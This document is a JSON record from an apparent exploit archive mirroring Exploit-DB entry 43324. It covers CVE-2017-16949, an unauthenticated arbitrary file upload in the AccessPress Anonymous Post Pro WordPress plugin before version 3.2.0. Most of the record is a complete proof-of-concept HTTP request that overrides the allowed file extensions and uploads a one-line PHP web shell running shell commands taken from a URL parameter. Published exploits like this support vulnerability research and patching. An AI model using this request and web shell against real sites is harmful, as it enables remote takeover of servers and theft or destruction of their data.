{"exploit":{"id":"EDB-43324","name":"Accesspress Anonymous Post Pro < 3.2.0 - Arbitrary File Upload","description":"Accesspress Anonymous Post Pro < 3.2.0 - Arbitrary File Upload","cves":["CVE-2017-16949"],"author":"Colette Chamberland","published":"2017-12-12","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43324","path":"exploits/php/webapps/43324.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43324.txt","vulnerabilities":[{"id":"CVE-2017-16949","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in the AccessKeys AccessPress Anonymous Post Pro plugin through 3.1.9 for WordPress. Improper input sanitization allows the attacker to override the settings for allowed file extensions and upload file size, related to inc/cores/file-uploader.php and file-uploader/file-uploader-class.php. This allows the attacker to upload anything they want to the server, as demonstrated by an action=ap_file_upload_action&allowedExtensions[]=php request to /wp-admin/admin-ajax.php that results in a .php file upload and resultant PHP code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-16949","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-16949"},"updatedAt":"2024-08-05T20:43:59.559Z","retrievedAt":"2026-11-27T05:08:24.596Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43324.png?v=2","url":"https://exploitbin.com/exploits/EDB-43324","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43324/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43324/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Unauthenticated Arbitrary File Upload\n# Date: November 12, 2017\n# Exploit Author: Colette Chamberland\n# Author contact: colette@defiant.com\n# Author homepage: https://defiant.com\n# Vendor Homepage: https://accesspressthemes.com/\n# Software Link: https://codecanyon.net/item/accesspress-anonymous-post-pro/9160446\n# Version:  < 3.2.0\n# Tested on: Wordpress 4.x\n# CVE : CVE-2017-16949\n\n\nDescription:\nImproper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows\nthe attacker to upload anything they want, bypassing the filters.\n\nPoC:\n\nPOST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000 HTTP/1.1\nHost:server\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------7230359611602921801124357792\nContent-Length: 264\nReferer: http://target.com/\nCookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6;\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n-----------------------------7230359611602921801124357792\nContent-Disposition: form-data; name=\"qqfile\"; filename=\"myshell.php\"\nContent-Type: text/php\n\n<?php echo shell_exec($_GET['e'].' 2>&1'); ?>\n\n-----------------------------7230359611602921801124357792--","sha256":"fdb52ead0e19fcbdff1017f5724906ebdbb80d36e59631fb24df5fa352cac56b","bytes":1495,"fetchedAt":"2026-11-27T05:08:18.398Z","encoding":"utf-8 (display only; download retains original bytes)"}